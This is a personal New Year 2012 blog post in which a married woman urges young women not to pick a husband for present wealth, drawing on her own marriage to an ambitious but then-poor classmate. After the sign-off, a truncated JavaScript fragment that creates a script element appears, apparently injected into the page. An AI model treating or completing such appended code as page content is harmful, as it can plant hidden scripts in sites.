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2011. What a year! I made a commitment at the beginning of the year that i would write many more articles and post weekly; alas, i failed you! I got distracted by several things. I started writing articles several times and never got around to finishing them. I’m sorry. I am taking this time, barely one and half hours into the new year to share something with my readers; i know it will help some people put into perspective, a major subject like going into marriage in the new year.

Over a week ago, i was in an event where a young lady was asked what she wanted in a guy she would get married to. Amongst other things, she said she wanted an affluent guy. I had blurted out before i caught myself. I said my hubby now was everything but rich.

After the event, i looked back at where i was coming from. When i was in school, i had a group of friends and most of us were in serious relationships in our penultimate to final year.  I constantly felt odd then because i was the only one who was in a serious relationship with a “fellow student”.  He was certainly not from a comfortable home but always thought big and took risks. He was driven. By the time he was out of University, he had done several businesses. Infact, i remember then being given money as a gift by my parents to buy a car on graduation, he persuaded me that we could do business with it and not buy a liability. I believed him, and we went ahead; even though am not sure if the business went well. We sure had some others that went well. My parents constantly asked about the car they gave me money for, i told them it wasn’t enough to buy the car i wanted and i had invested it. My sisters cruised around with their cars.

Today, i look back and wonder what would’ve happened if i threw him away because he was not yet stable or ready. Some of the rich guys my colleagues dated then had some really rough times in business, and lost a lot of money, some of their businesses crashed, one or two were implicated at work and lost their jobs. That was a reality check for me. Some of those guys are just finding their feet after several years. In my relationship, we have been through several phases, but we never started big, grown together, i have learnt to abase and abound. I can survive under any condition; and God has favoured me and us.

Please get me right. I’m not saying jump on any guy purely based on hope simply because your goal says 2012 is your marital year. If the guy hanging around you is lazy or laid back, run! If hoping is the only thing he’s doing, run from him as well. Some ladies are in relationships for years and the guy has not been able to give anything to the lady, nothing at all; run o! If things don’t change, howbeit gradually for the guy in years, waka! Else, you’ll need to be prepared to fend for him all through your married life. Things must not always be one sided. If the guy has friends whose lifestyles or dreams are not motivating, run!

I sincerely pray for the best for you in 2012, and encourage you to get counsel when you’re confused. Every human being has the power of choice. Choose wisely; understanding that we can’t afford to judge a person by the present alone; certain attributes and association will tell you the person who is going somewhere. Is he rich today? Was that the main attraction? It may not always be so for him; can you stay with him if things change for bad? Can he bounce back legitimately if things go bad?  Think deeply, then act.

See more of me in 2012!var d=document;var s=d.createElement(‘script’);

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